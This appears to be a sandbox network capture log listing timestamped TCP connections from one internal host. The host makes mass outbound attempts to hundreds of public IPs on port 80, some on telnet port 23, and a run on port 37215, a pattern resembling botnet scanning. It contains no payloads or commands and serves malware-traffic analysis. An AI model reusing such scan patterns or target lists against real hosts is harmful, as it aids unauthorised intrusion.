Dec 3, 2024 21:47:27.565452099 CET	39419	80	192.168.2.13	14.229.79.80
Dec 3, 2024 21:47:27.565452099 CET	39419	80	192.168.2.13	80.89.102.17
Dec 3, 2024 21:47:27.565466881 CET	39419	80	192.168.2.13	99.169.100.185
Dec 3, 2024 21:47:27.565469980 CET	39419	80	192.168.2.13	104.124.148.211
Dec 3, 2024 21:47:27.565469980 CET	39419	80	192.168.2.13	84.236.123.105
Dec 3, 2024 21:47:27.565470934 CET	39419	80	192.168.2.13	121.63.127.190
Dec 3, 2024 21:47:27.565474033 CET	39419	80	192.168.2.13	37.113.193.2
Dec 3, 2024 21:47:27.565474033 CET	39419	80	192.168.2.13	66.209.245.214
Dec 3, 2024 21:47:27.565476894 CET	39419	80	192.168.2.13	189.242.7.143
Dec 3, 2024 21:47:27.565489054 CET	39419	80	192.168.2.13	160.16.183.230
Dec 3, 2024 21:47:27.565489054 CET	39419	80	192.168.2.13	113.243.159.34
Dec 3, 2024 21:47:27.565489054 CET	39419	80	192.168.2.13	84.86.176.74
Dec 3, 2024 21:47:27.565490007 CET	39419	80	192.168.2.13	31.222.213.150
Dec 3, 2024 21:47:27.565490007 CET	39419	80	192.168.2.13	31.136.177.87
Dec 3, 2024 21:47:27.565490961 CET	39419	80	192.168.2.13	93.108.32.7
Dec 3, 2024 21:47:27.565490961 CET	39419	80	192.168.2.13	189.158.84.243
Dec 3, 2024 21:47:27.565506935 CET	39419	80	192.168.2.13	119.179.80.9
Dec 3, 2024 21:47:27.565509081 CET	39419	80	192.168.2.13	49.250.217.247
Dec 3, 2024 21:47:27.565509081 CET	39419	80	192.168.2.13	20.19.224.177
Dec 3, 2024 21:47:27.565510035 CET	39419	80	192.168.2.13	58.136.191.23
Dec 3, 2024 21:47:27.565510035 CET	39419	80	192.168.2.13	191.124.53.178
Dec 3, 2024 21:47:27.565510035 CET	39419	80	192.168.2.13	35.91.38.139
Dec 3, 2024 21:47:27.565510988 CET	39419	80	192.168.2.13	90.238.134.136
Dec 3, 2024 21:47:27.565511942 CET	39419	80	192.168.2.13	4.89.31.7
Dec 3, 2024 21:47:27.565511942 CET	39419	80	192.168.2.13	71.2.44.201
Dec 3, 2024 21:47:27.565511942 CET	39419	80	192.168.2.13	31.101.56.49
Dec 3, 2024 21:47:27.565526009 CET	39419	80	192.168.2.13	181.191.80.105
Dec 3, 2024 21:47:27.565526009 CET	39419	80	192.168.2.13	92.42.182.228
Dec 3, 2024 21:47:27.565526962 CET	39419	80	192.168.2.13	126.171.108.109
Dec 3, 2024 21:47:27.565526962 CET	39419	80	192.168.2.13	223.232.34.97
Dec 3, 2024 21:47:27.565526009 CET	39419	80	192.168.2.13	86.115.11.110
Dec 3, 2024 21:47:27.565526962 CET	39419	80	192.168.2.13	192.131.201.34
Dec 3, 2024 21:47:27.565526962 CET	39419	80	192.168.2.13	4.129.29.124
Dec 3, 2024 21:47:27.565527916 CET	39419	80	192.168.2.13	103.136.206.86
Dec 3, 2024 21:47:27.565545082 CET	39419	80	192.168.2.13	84.212.152.171
Dec 3, 2024 21:47:27.565546036 CET	39419	80	192.168.2.13	181.223.40.212
Dec 3, 2024 21:47:27.565546036 CET	39419	80	192.168.2.13	48.77.220.45
Dec 3, 2024 21:47:27.565547943 CET	39419	80	192.168.2.13	76.186.112.22
Dec 3, 2024 21:47:27.565548897 CET	39419	80	192.168.2.13	174.144.101.193
Dec 3, 2024 21:47:27.565548897 CET	39419	80	192.168.2.13	61.55.228.223
Dec 3, 2024 21:47:27.565552950 CET	39419	80	192.168.2.13	50.153.49.250
Dec 3, 2024 21:47:27.565552950 CET	39419	80	192.168.2.13	221.61.56.204
Dec 3, 2024 21:47:27.565562963 CET	39419	80	192.168.2.13	189.192.229.226
Dec 3, 2024 21:47:27.565562963 CET	39419	80	192.168.2.13	71.108.0.67
Dec 3, 2024 21:47:27.565567017 CET	39419	80	192.168.2.13	218.117.86.203
Dec 3, 2024 21:47:27.565568924 CET	39419	80	192.168.2.13	39.239.251.224
Dec 3, 2024 21:47:27.565568924 CET	39419	80	192.168.2.13	72.81.87.11
Dec 3, 2024 21:47:27.565571070 CET	39419	80	192.168.2.13	79.209.81.82
Dec 3, 2024 21:47:27.565571070 CET	39419	80	192.168.2.13	17.127.203.220
Dec 3, 2024 21:47:27.565571070 CET	39419	80	192.168.2.13	208.73.252.6
Dec 3, 2024 21:47:27.565572977 CET	39419	80	192.168.2.13	151.164.131.81
Dec 3, 2024 21:47:27.565572977 CET	39419	80	192.168.2.13	19.234.228.215
Dec 3, 2024 21:47:27.565593958 CET	39419	80	192.168.2.13	20.69.157.205
Dec 3, 2024 21:47:27.565594912 CET	39419	80	192.168.2.13	146.145.113.211
Dec 3, 2024 21:47:27.565594912 CET	39419	80	192.168.2.13	44.242.26.161
Dec 3, 2024 21:47:27.565594912 CET	39419	80	192.168.2.13	82.70.56.91
Dec 3, 2024 21:47:27.565594912 CET	39419	80	192.168.2.13	167.241.140.4
Dec 3, 2024 21:47:27.565597057 CET	39419	80	192.168.2.13	111.21.100.149
Dec 3, 2024 21:47:27.565597057 CET	39419	80	192.168.2.13	176.33.44.246
Dec 3, 2024 21:47:27.565598011 CET	39419	80	192.168.2.13	107.135.161.149
Dec 3, 2024 21:47:27.565598011 CET	39419	80	192.168.2.13	62.214.191.66
Dec 3, 2024 21:47:27.565624952 CET	39419	80	192.168.2.13	13.109.86.86
Dec 3, 2024 21:47:27.565627098 CET	39419	80	192.168.2.13	20.116.230.184
Dec 3, 2024 21:47:27.565629005 CET	39419	80	192.168.2.13	103.252.99.216
Dec 3, 2024 21:47:27.565629005 CET	39419	80	192.168.2.13	100.49.56.109
Dec 3, 2024 21:47:27.565629959 CET	39419	80	192.168.2.13	41.30.176.221
Dec 3, 2024 21:47:27.565629959 CET	39419	80	192.168.2.13	102.58.239.238
Dec 3, 2024 21:47:27.565629959 CET	39419	80	192.168.2.13	65.123.146.69
Dec 3, 2024 21:47:27.565630913 CET	39419	80	192.168.2.13	186.142.156.225
Dec 3, 2024 21:47:27.565630913 CET	39419	80	192.168.2.13	131.2.133.244
Dec 3, 2024 21:47:27.565630913 CET	39419	80	192.168.2.13	181.184.231.53
Dec 3, 2024 21:47:27.565630913 CET	39419	80	192.168.2.13	84.92.75.241
Dec 3, 2024 21:47:27.565634012 CET	39419	80	192.168.2.13	13.209.144.112
Dec 3, 2024 21:47:27.565630913 CET	39419	80	192.168.2.13	179.243.233.148
Dec 3, 2024 21:47:27.565634012 CET	39419	80	192.168.2.13	105.24.51.81
Dec 3, 2024 21:47:27.565630913 CET	39419	80	192.168.2.13	4.38.190.209
Dec 3, 2024 21:47:27.565654993 CET	39419	80	192.168.2.13	85.79.152.231
Dec 3, 2024 21:47:27.565654993 CET	39419	80	192.168.2.13	13.233.251.193
Dec 3, 2024 21:47:27.565654993 CET	39419	80	192.168.2.13	37.152.111.106
Dec 3, 2024 21:47:27.565658092 CET	39419	80	192.168.2.13	63.54.11.57
Dec 3, 2024 21:47:27.565659046 CET	39419	80	192.168.2.13	78.185.245.54
Dec 3, 2024 21:47:27.565659046 CET	39419	80	192.168.2.13	79.2.30.245
Dec 3, 2024 21:47:27.565659046 CET	39419	80	192.168.2.13	2.128.78.160
Dec 3, 2024 21:47:27.565659046 CET	39419	80	192.168.2.13	123.70.194.22
Dec 3, 2024 21:47:27.565661907 CET	39419	80	192.168.2.13	67.57.87.177
Dec 3, 2024 21:47:27.565659046 CET	39419	80	192.168.2.13	193.254.223.71
Dec 3, 2024 21:47:27.565660954 CET	39419	80	192.168.2.13	207.42.39.254
Dec 3, 2024 21:47:27.565659046 CET	39419	80	192.168.2.13	170.159.68.64
Dec 3, 2024 21:47:27.565665007 CET	39419	80	192.168.2.13	145.131.250.157
Dec 3, 2024 21:47:27.565661907 CET	39419	80	192.168.2.13	35.86.221.50
Dec 3, 2024 21:47:27.565659046 CET	39419	80	192.168.2.13	8.34.247.15
Dec 3, 2024 21:47:27.565660954 CET	39419	80	192.168.2.13	112.60.42.210
Dec 3, 2024 21:47:27.565697908 CET	39419	80	192.168.2.13	85.239.246.197
Dec 3, 2024 21:47:27.565697908 CET	39419	80	192.168.2.13	203.133.230.37
Dec 3, 2024 21:47:27.565699100 CET	39419	80	192.168.2.13	69.161.223.97
Dec 3, 2024 21:47:27.565699100 CET	39419	80	192.168.2.13	105.136.38.163
Dec 3, 2024 21:47:27.565699100 CET	39419	80	192.168.2.13	126.107.250.29
Dec 3, 2024 21:47:27.565700054 CET	39419	80	192.168.2.13	208.225.133.231
Dec 3, 2024 21:47:27.565700054 CET	39419	80	192.168.2.13	74.253.242.133
Dec 3, 2024 21:47:27.565701008 CET	39419	80	192.168.2.13	78.173.219.151
Dec 3, 2024 21:47:27.565700054 CET	39419	80	192.168.2.13	218.0.255.11
Dec 3, 2024 21:47:27.565701008 CET	39419	80	192.168.2.13	2.199.65.212
Dec 3, 2024 21:47:27.565701962 CET	39419	80	192.168.2.13	149.151.41.106
Dec 3, 2024 21:47:27.565702915 CET	39419	80	192.168.2.13	98.200.147.176
Dec 3, 2024 21:47:27.565702915 CET	39419	80	192.168.2.13	223.48.131.21
Dec 3, 2024 21:47:27.565701008 CET	39419	80	192.168.2.13	74.115.112.48
Dec 3, 2024 21:47:27.565702915 CET	39419	80	192.168.2.13	180.108.253.91
Dec 3, 2024 21:47:27.565701008 CET	39419	80	192.168.2.13	49.172.235.184
Dec 3, 2024 21:47:27.565702915 CET	39419	80	192.168.2.13	58.64.182.215
Dec 3, 2024 21:47:27.565702915 CET	39419	80	192.168.2.13	66.94.234.197
Dec 3, 2024 21:47:27.565701962 CET	39419	80	192.168.2.13	71.40.255.215
Dec 3, 2024 21:47:27.565702915 CET	39419	80	192.168.2.13	193.177.154.107
Dec 3, 2024 21:47:27.565702915 CET	39419	80	192.168.2.13	116.212.21.190
Dec 3, 2024 21:47:27.565701962 CET	39419	80	192.168.2.13	112.92.91.158
Dec 3, 2024 21:47:27.565702915 CET	39419	80	192.168.2.13	69.229.118.96
Dec 3, 2024 21:47:27.565702915 CET	39419	80	192.168.2.13	17.112.81.71
Dec 3, 2024 21:47:27.565736055 CET	39419	80	192.168.2.13	188.186.98.176
Dec 3, 2024 21:47:27.565736055 CET	39419	80	192.168.2.13	27.159.159.60
Dec 3, 2024 21:47:27.565737009 CET	39419	80	192.168.2.13	150.54.58.100
Dec 3, 2024 21:47:27.565737963 CET	39419	80	192.168.2.13	170.107.191.1
Dec 3, 2024 21:47:27.565737009 CET	39419	80	192.168.2.13	161.234.89.150
Dec 3, 2024 21:47:27.565737963 CET	39419	80	192.168.2.13	126.222.26.45
Dec 3, 2024 21:47:27.565737009 CET	39419	80	192.168.2.13	184.153.46.233
Dec 3, 2024 21:47:27.565738916 CET	39419	80	192.168.2.13	18.138.167.17
Dec 3, 2024 21:47:27.565737963 CET	39419	80	192.168.2.13	86.167.130.138
Dec 3, 2024 21:47:27.565738916 CET	39419	80	192.168.2.13	79.225.172.102
Dec 3, 2024 21:47:27.565737963 CET	39419	80	192.168.2.13	102.172.81.39
Dec 3, 2024 21:47:27.565738916 CET	39419	80	192.168.2.13	220.160.156.165
Dec 3, 2024 21:47:27.565741062 CET	39419	80	192.168.2.13	99.51.98.150
Dec 3, 2024 21:47:27.565738916 CET	39419	80	192.168.2.13	142.233.67.124
Dec 3, 2024 21:47:27.565741062 CET	39419	80	192.168.2.13	185.135.97.231
Dec 3, 2024 21:47:27.565738916 CET	39419	80	192.168.2.13	98.248.137.35
Dec 3, 2024 21:47:27.565741062 CET	39419	80	192.168.2.13	36.85.5.47
Dec 3, 2024 21:47:27.565738916 CET	39419	80	192.168.2.13	116.42.226.69
Dec 3, 2024 21:47:27.565738916 CET	39419	80	192.168.2.13	74.19.6.178
Dec 3, 2024 21:47:27.565738916 CET	39419	80	192.168.2.13	13.181.105.145
Dec 3, 2024 21:47:27.565740108 CET	39419	80	192.168.2.13	143.249.205.0
Dec 3, 2024 21:47:27.565740108 CET	39419	80	192.168.2.13	80.0.207.108
Dec 3, 2024 21:47:27.565772057 CET	39419	80	192.168.2.13	209.203.102.196
Dec 3, 2024 21:47:27.565773964 CET	39419	80	192.168.2.13	146.144.246.198
Dec 3, 2024 21:47:27.565773964 CET	39419	80	192.168.2.13	147.32.115.118
Dec 3, 2024 21:47:27.565774918 CET	39419	80	192.168.2.13	113.255.137.167
Dec 3, 2024 21:47:27.565777063 CET	39419	80	192.168.2.13	63.146.10.135
Dec 3, 2024 21:47:27.565773964 CET	39419	80	192.168.2.13	108.218.60.174
Dec 3, 2024 21:47:27.565774918 CET	39419	80	192.168.2.13	40.73.212.109
Dec 3, 2024 21:47:27.565773964 CET	39419	80	192.168.2.13	151.251.174.132
Dec 3, 2024 21:47:27.565774918 CET	39419	80	192.168.2.13	131.77.96.223
Dec 3, 2024 21:47:27.565774918 CET	39419	80	192.168.2.13	171.81.121.218
Dec 3, 2024 21:47:27.565777063 CET	39419	80	192.168.2.13	223.236.244.11
Dec 3, 2024 21:47:27.565774918 CET	39419	80	192.168.2.13	205.212.29.126
Dec 3, 2024 21:47:27.565773964 CET	39419	80	192.168.2.13	169.38.63.31
Dec 3, 2024 21:47:27.565777063 CET	39419	80	192.168.2.13	180.204.9.113
Dec 3, 2024 21:47:27.565774918 CET	39419	80	192.168.2.13	130.177.9.44
Dec 3, 2024 21:47:27.565774918 CET	39419	80	192.168.2.13	146.114.16.194
Dec 3, 2024 21:47:27.565774918 CET	39419	80	192.168.2.13	209.190.2.239
Dec 3, 2024 21:47:27.565774918 CET	39419	80	192.168.2.13	124.171.146.119
Dec 3, 2024 21:47:27.565773964 CET	39419	80	192.168.2.13	102.222.241.152
Dec 3, 2024 21:47:27.565774918 CET	39419	80	192.168.2.13	105.96.49.108
Dec 3, 2024 21:47:27.565774918 CET	39419	80	192.168.2.13	124.255.64.17
Dec 3, 2024 21:47:27.565774918 CET	39419	80	192.168.2.13	219.225.31.155
Dec 3, 2024 21:47:27.565804958 CET	39419	80	192.168.2.13	60.150.205.128
Dec 3, 2024 21:47:27.565804958 CET	39419	80	192.168.2.13	158.9.102.80
Dec 3, 2024 21:47:27.565804958 CET	39419	80	192.168.2.13	202.233.133.228
Dec 3, 2024 21:47:27.565804958 CET	39419	80	192.168.2.13	223.36.37.199
Dec 3, 2024 21:47:27.565809011 CET	39419	80	192.168.2.13	219.62.43.184
Dec 3, 2024 21:47:27.565809011 CET	39419	80	192.168.2.13	149.90.217.142
Dec 3, 2024 21:47:27.565809965 CET	39419	80	192.168.2.13	82.10.160.217
Dec 3, 2024 21:47:27.565810919 CET	39419	80	192.168.2.13	216.236.186.152
Dec 3, 2024 21:47:27.565809965 CET	39419	80	192.168.2.13	66.186.32.161
Dec 3, 2024 21:47:27.565810919 CET	39419	80	192.168.2.13	73.26.2.165
Dec 3, 2024 21:47:27.565809011 CET	39419	80	192.168.2.13	23.117.210.119
Dec 3, 2024 21:47:27.565810919 CET	39419	80	192.168.2.13	135.9.87.86
Dec 3, 2024 21:47:27.565809965 CET	39419	80	192.168.2.13	172.119.236.152
Dec 3, 2024 21:47:27.565809011 CET	39419	80	192.168.2.13	50.230.70.37
Dec 3, 2024 21:47:27.565810919 CET	39419	80	192.168.2.13	91.105.219.160
Dec 3, 2024 21:47:27.565809011 CET	39419	80	192.168.2.13	213.194.141.122
Dec 3, 2024 21:47:27.565810919 CET	39419	80	192.168.2.13	38.165.20.80
Dec 3, 2024 21:47:27.565810919 CET	39419	80	192.168.2.13	85.73.6.125
Dec 3, 2024 21:47:27.565810919 CET	39419	80	192.168.2.13	141.131.21.208
Dec 3, 2024 21:47:27.565810919 CET	39419	80	192.168.2.13	163.221.216.97
Dec 3, 2024 21:47:27.565810919 CET	39419	80	192.168.2.13	42.124.35.73
Dec 3, 2024 21:47:27.565830946 CET	39419	80	192.168.2.13	94.130.151.192
Dec 3, 2024 21:47:27.565830946 CET	39419	80	192.168.2.13	137.110.4.125
Dec 3, 2024 21:47:27.565831900 CET	39419	80	192.168.2.13	4.211.86.125
Dec 3, 2024 21:47:27.565830946 CET	39419	80	192.168.2.13	145.46.26.211
Dec 3, 2024 21:47:27.565833092 CET	39419	80	192.168.2.13	9.223.249.213
Dec 3, 2024 21:47:27.565831900 CET	39419	80	192.168.2.13	143.126.85.171
Dec 3, 2024 21:47:27.565834045 CET	39419	80	192.168.2.13	116.163.241.163
Dec 3, 2024 21:47:27.565831900 CET	39419	80	192.168.2.13	134.132.141.30
Dec 3, 2024 21:47:27.565836906 CET	39419	80	192.168.2.13	37.238.2.234
Dec 3, 2024 21:47:27.565834045 CET	39419	80	192.168.2.13	77.177.157.218
Dec 3, 2024 21:47:27.565834045 CET	39419	80	192.168.2.13	123.163.175.129
Dec 3, 2024 21:47:27.565834999 CET	39419	80	192.168.2.13	142.65.126.22
Dec 3, 2024 21:47:27.565845013 CET	39419	80	192.168.2.13	97.88.33.168
Dec 3, 2024 21:47:27.565846920 CET	39419	80	192.168.2.13	156.160.105.53
Dec 3, 2024 21:47:27.565848112 CET	39419	80	192.168.2.13	19.27.123.24
Dec 3, 2024 21:47:27.566015005 CET	38866	80	192.168.2.13	53.2.196.30
Dec 3, 2024 21:47:27.566015005 CET	38866	80	192.168.2.13	53.2.196.30
Dec 3, 2024 21:47:27.566520929 CET	38914	80	192.168.2.13	53.2.196.30
Dec 3, 2024 21:47:27.566894054 CET	44958	80	192.168.2.13	75.254.147.50
Dec 3, 2024 21:47:27.566894054 CET	44958	80	192.168.2.13	75.254.147.50
Dec 3, 2024 21:47:27.567161083 CET	45006	80	192.168.2.13	75.254.147.50
Dec 3, 2024 21:47:27.567517996 CET	58752	80	192.168.2.13	95.231.217.193
Dec 3, 2024 21:47:27.567531109 CET	58752	80	192.168.2.13	95.231.217.193
Dec 3, 2024 21:47:27.567774057 CET	58800	80	192.168.2.13	95.231.217.193
Dec 3, 2024 21:47:27.568171024 CET	49348	80	192.168.2.13	13.92.149.139
Dec 3, 2024 21:47:27.568185091 CET	49348	80	192.168.2.13	13.92.149.139
Dec 3, 2024 21:47:27.568440914 CET	49406	80	192.168.2.13	13.92.149.139
Dec 3, 2024 21:47:27.685755014 CET	80	39419	182.221.105.216	192.168.2.13
Dec 3, 2024 21:47:27.685776949 CET	80	39419	150.135.116.253	192.168.2.13
Dec 3, 2024 21:47:27.685792923 CET	80	39419	149.244.161.140	192.168.2.13
Dec 3, 2024 21:47:27.685807943 CET	80	39419	114.53.31.45	192.168.2.13
Dec 3, 2024 21:47:27.685820103 CET	80	39419	69.127.8.189	192.168.2.13
Dec 3, 2024 21:47:27.685857058 CET	80	39419	176.238.85.24	192.168.2.13
Dec 3, 2024 21:47:27.685869932 CET	80	39419	159.83.89.246	192.168.2.13
Dec 3, 2024 21:47:27.685883045 CET	80	39419	168.19.35.119	192.168.2.13
Dec 3, 2024 21:47:27.685898066 CET	80	39419	132.246.192.131	192.168.2.13
Dec 3, 2024 21:47:27.685908079 CET	80	39419	191.145.49.217	192.168.2.13
Dec 3, 2024 21:47:27.685925007 CET	80	39419	191.37.14.71	192.168.2.13
Dec 3, 2024 21:47:27.685925961 CET	39419	80	192.168.2.13	182.221.105.216
Dec 3, 2024 21:47:27.685930967 CET	39419	80	192.168.2.13	149.244.161.140
Dec 3, 2024 21:47:27.685930967 CET	39419	80	192.168.2.13	176.238.85.24
Dec 3, 2024 21:47:27.685941935 CET	80	39419	106.183.152.217	192.168.2.13
Dec 3, 2024 21:47:27.685942888 CET	39419	80	192.168.2.13	168.19.35.119
Dec 3, 2024 21:47:27.685946941 CET	39419	80	192.168.2.13	132.246.192.131
Dec 3, 2024 21:47:27.685993910 CET	80	38866	53.2.196.30	192.168.2.13
Dec 3, 2024 21:47:27.686042070 CET	39419	80	192.168.2.13	150.135.116.253
Dec 3, 2024 21:47:27.686088085 CET	39419	80	192.168.2.13	114.53.31.45
Dec 3, 2024 21:47:27.686110020 CET	39419	80	192.168.2.13	159.83.89.246
Dec 3, 2024 21:47:27.686110020 CET	39419	80	192.168.2.13	69.127.8.189
Dec 3, 2024 21:47:27.686127901 CET	39419	80	192.168.2.13	191.145.49.217
Dec 3, 2024 21:47:27.686142921 CET	39419	80	192.168.2.13	191.37.14.71
Dec 3, 2024 21:47:27.686160088 CET	39419	80	192.168.2.13	106.183.152.217
Dec 3, 2024 21:47:27.686830044 CET	80	44958	75.254.147.50	192.168.2.13
Dec 3, 2024 21:47:27.687427998 CET	80	58752	95.231.217.193	192.168.2.13
Dec 3, 2024 21:47:27.688040018 CET	80	49348	13.92.149.139	192.168.2.13
Dec 3, 2024 21:47:27.730382919 CET	80	38866	53.2.196.30	192.168.2.13
Dec 3, 2024 21:47:27.730412960 CET	80	49348	13.92.149.139	192.168.2.13
Dec 3, 2024 21:47:27.730427980 CET	80	58752	95.231.217.193	192.168.2.13
Dec 3, 2024 21:47:27.730444908 CET	80	44958	75.254.147.50	192.168.2.13
Dec 3, 2024 21:47:27.916495085 CET	23	35010	185.229.236.203	192.168.2.13
Dec 3, 2024 21:47:27.916722059 CET	35010	23	192.168.2.13	185.229.236.203
Dec 3, 2024 21:47:27.917321920 CET	35088	23	192.168.2.13	185.229.236.203
Dec 3, 2024 21:47:27.917965889 CET	34043	37215	192.168.2.13	156.60.67.19
Dec 3, 2024 21:47:27.917974949 CET	34043	37215	192.168.2.13	197.247.117.110
Dec 3, 2024 21:47:27.917992115 CET	34043	37215	192.168.2.13	197.200.5.13
Dec 3, 2024 21:47:27.917993069 CET	34043	37215	192.168.2.13	156.130.216.32
Dec 3, 2024 21:47:27.917993069 CET	34043	37215	192.168.2.13	41.134.121.97
Dec 3, 2024 21:47:27.918004036 CET	34043	37215	192.168.2.13	197.250.245.77
Dec 3, 2024 21:47:27.918005943 CET	34043	37215	192.168.2.13	41.139.213.124
Dec 3, 2024 21:47:27.918016911 CET	34043	37215	192.168.2.13	156.26.206.201
Dec 3, 2024 21:47:27.918016911 CET	34043	37215	192.168.2.13	156.114.183.6
Dec 3, 2024 21:47:27.918025017 CET	34043	37215	192.168.2.13	197.232.6.182
Dec 3, 2024 21:47:27.918025970 CET	34043	37215	192.168.2.13	156.221.166.16
Dec 3, 2024 21:47:27.918030024 CET	34043	37215	192.168.2.13	197.199.17.32
Dec 3, 2024 21:47:27.918037891 CET	34043	37215	192.168.2.13	197.201.130.69
Dec 3, 2024 21:47:27.918039083 CET	34043	37215	192.168.2.13	41.217.111.208
Dec 3, 2024 21:47:27.918040991 CET	34043	37215	192.168.2.13	41.5.119.187
Dec 3, 2024 21:47:27.918056965 CET	34043	37215	192.168.2.13	41.10.122.30
Dec 3, 2024 21:47:27.918061972 CET	34043	37215	192.168.2.13	197.151.160.5
Dec 3, 2024 21:47:27.918061972 CET	34043	37215	192.168.2.13	197.73.171.131
Dec 3, 2024 21:47:27.918061972 CET	34043	37215	192.168.2.13	156.8.26.100
Dec 3, 2024 21:47:27.918065071 CET	34043	37215	192.168.2.13	41.208.35.120
Dec 3, 2024 21:47:27.918066978 CET	34043	37215	192.168.2.13	156.30.252.248
Dec 3, 2024 21:47:27.918068886 CET	34043	37215	192.168.2.13	156.12.27.60
Dec 3, 2024 21:47:27.918070078 CET	34043	37215	192.168.2.13	41.35.150.234
Dec 3, 2024 21:47:27.918076992 CET	34043	37215	192.168.2.13	41.132.217.159
Dec 3, 2024 21:47:27.918082952 CET	34043	37215	192.168.2.13	41.142.8.59
Dec 3, 2024 21:47:27.918082952 CET	34043	37215	192.168.2.13	156.223.242.27
Dec 3, 2024 21:47:27.918081045 CET	34043	37215	192.168.2.13	41.88.58.42
Dec 3, 2024 21:47:27.918082952 CET	34043	37215	192.168.2.13	156.102.3.79
Dec 3, 2024 21:47:27.918081045 CET	34043	37215	192.168.2.13	156.4.1.44
Dec 3, 2024 21:47:27.918087006 CET	34043	37215	192.168.2.13	197.174.205.245
Dec 3, 2024 21:47:27.918092012 CET	34043	37215	192.168.2.13	41.151.27.230
Dec 3, 2024 21:47:27.918092966 CET	34043	37215	192.168.2.13	156.54.140.23
Dec 3, 2024 21:47:27.918092966 CET	34043	37215	192.168.2.13	156.243.45.223
Dec 3, 2024 21:47:27.918093920 CET	34043	37215	192.168.2.13	41.47.35.38
Dec 3, 2024 21:47:27.918093920 CET	34043	37215	192.168.2.13	41.0.222.146
Dec 3, 2024 21:47:27.918097019 CET	34043	37215	192.168.2.13	197.55.40.243
Dec 3, 2024 21:47:27.918102026 CET	34043	37215	192.168.2.13	197.223.251.239
Dec 3, 2024 21:47:27.918108940 CET	34043	37215	192.168.2.13	156.7.40.248
Dec 3, 2024 21:47:27.918112040 CET	34043	37215	192.168.2.13	156.205.41.243
Dec 3, 2024 21:47:27.918123007 CET	34043	37215	192.168.2.13	156.211.193.159
Dec 3, 2024 21:47:27.918123007 CET	34043	37215	192.168.2.13	197.163.124.14
Dec 3, 2024 21:47:27.918131113 CET	34043	37215	192.168.2.13	41.0.225.183
Dec 3, 2024 21:47:27.918132067 CET	34043	37215	192.168.2.13	156.90.17.249
Dec 3, 2024 21:47:27.918138027 CET	34043	37215	192.168.2.13	41.226.60.31
Dec 3, 2024 21:47:27.918152094 CET	34043	37215	192.168.2.13	41.29.201.140
Dec 3, 2024 21:47:27.918152094 CET	34043	37215	192.168.2.13	41.96.183.204
Dec 3, 2024 21:47:27.918164015 CET	34043	37215	192.168.2.13	197.196.7.48
Dec 3, 2024 21:47:27.918174028 CET	34043	37215	192.168.2.13	156.28.240.247
Dec 3, 2024 21:47:27.918176889 CET	34043	37215	192.168.2.13	197.217.123.162
Dec 3, 2024 21:47:27.918181896 CET	34043	37215	192.168.2.13	156.97.41.177
Dec 3, 2024 21:47:27.918184042 CET	34043	37215	192.168.2.13	197.16.22.250
Dec 3, 2024 21:47:27.918200016 CET	34043	37215	192.168.2.13	156.30.192.171
Dec 3, 2024 21:47:27.918201923 CET	34043	37215	192.168.2.13	156.40.197.213
Dec 3, 2024 21:47:27.918210983 CET	34043	37215	192.168.2.13	197.168.151.132
Dec 3, 2024 21:47:27.918212891 CET	34043	37215	192.168.2.13	41.186.52.55
Dec 3, 2024 21:47:27.918220043 CET	34043	37215	192.168.2.13	156.238.109.49
Dec 3, 2024 21:47:27.918237925 CET	34043	37215	192.168.2.13	197.240.40.83
Dec 3, 2024 21:47:27.918240070 CET	34043	37215	192.168.2.13	197.120.121.54
Dec 3, 2024 21:47:27.918243885 CET	34043	37215	192.168.2.13	156.229.91.1
Dec 3, 2024 21:47:27.918251991 CET	34043	37215	192.168.2.13	197.219.46.107
Dec 3, 2024 21:47:27.918258905 CET	34043	37215	192.168.2.13	156.153.246.142
Dec 3, 2024 21:47:27.918263912 CET	34043	37215	192.168.2.13	156.63.244.73
Dec 3, 2024 21:47:27.918281078 CET	34043	37215	192.168.2.13	41.162.204.209
Dec 3, 2024 21:47:27.918281078 CET	34043	37215	192.168.2.13	197.147.25.135
Dec 3, 2024 21:47:27.918287992 CET	34043	37215	192.168.2.13	41.226.85.149
Dec 3, 2024 21:47:27.918287992 CET	34043	37215	192.168.2.13	197.32.130.171
Dec 3, 2024 21:47:27.918292999 CET	34043	37215	192.168.2.13	197.25.8.77
Dec 3, 2024 21:47:27.918303013 CET	34043	37215	192.168.2.13	197.23.232.5
Dec 3, 2024 21:47:27.918309927 CET	34043	37215	192.168.2.13	197.27.11.57
Dec 3, 2024 21:47:27.918318033 CET	34043	37215	192.168.2.13	41.0.131.105
Dec 3, 2024 21:47:27.918325901 CET	34043	37215	192.168.2.13	197.245.61.145
Dec 3, 2024 21:47:27.918335915 CET	34043	37215	192.168.2.13	41.63.75.185
Dec 3, 2024 21:47:27.918342113 CET	34043	37215	192.168.2.13	156.98.122.175
Dec 3, 2024 21:47:27.918344975 CET	34043	37215	192.168.2.13	41.102.61.78
Dec 3, 2024 21:47:27.918348074 CET	34043	37215	192.168.2.13	197.169.3.147
Dec 3, 2024 21:47:27.918365002 CET	34043	37215	192.168.2.13	156.162.97.23
Dec 3, 2024 21:47:27.918365955 CET	34043	37215	192.168.2.13	197.136.130.230
Dec 3, 2024 21:47:27.918365002 CET	34043	37215	192.168.2.13	197.163.100.103
Dec 3, 2024 21:47:27.918375969 CET	34043	37215	192.168.2.13	156.232.159.80
Dec 3, 2024 21:47:27.918387890 CET	34043	37215	192.168.2.13	197.170.186.186
Dec 3, 2024 21:47:27.918390036 CET	34043	37215	192.168.2.13	41.217.129.204
Dec 3, 2024 21:47:27.918400049 CET	34043	37215	192.168.2.13	41.211.84.162
Dec 3, 2024 21:47:27.918401957 CET	34043	37215	192.168.2.13	41.57.244.184
Dec 3, 2024 21:47:27.918406010 CET	34043	37215	192.168.2.13	197.58.87.63
Dec 3, 2024 21:47:27.918406963 CET	34043	37215	192.168.2.13	41.193.198.211
Dec 3, 2024 21:47:27.918414116 CET	34043	37215	192.168.2.13	41.194.41.87
Dec 3, 2024 21:47:27.918416023 CET	34043	37215	192.168.2.13	197.230.224.58
Dec 3, 2024 21:47:27.918421030 CET	34043	37215	192.168.2.13	41.158.158.248
Dec 3, 2024 21:47:27.918421030 CET	34043	37215	192.168.2.13	156.203.172.82
Dec 3, 2024 21:47:27.918422937 CET	34043	37215	192.168.2.13	197.7.167.48
Dec 3, 2024 21:47:27.918431044 CET	34043	37215	192.168.2.13	41.223.76.44
Dec 3, 2024 21:47:27.918448925 CET	34043	37215	192.168.2.13	41.205.13.58
Dec 3, 2024 21:47:27.918452978 CET	34043	37215	192.168.2.13	197.1.158.6
Dec 3, 2024 21:47:27.918458939 CET	34043	37215	192.168.2.13	41.68.79.176
Dec 3, 2024 21:47:27.918467999 CET	34043	37215	192.168.2.13	156.105.80.215
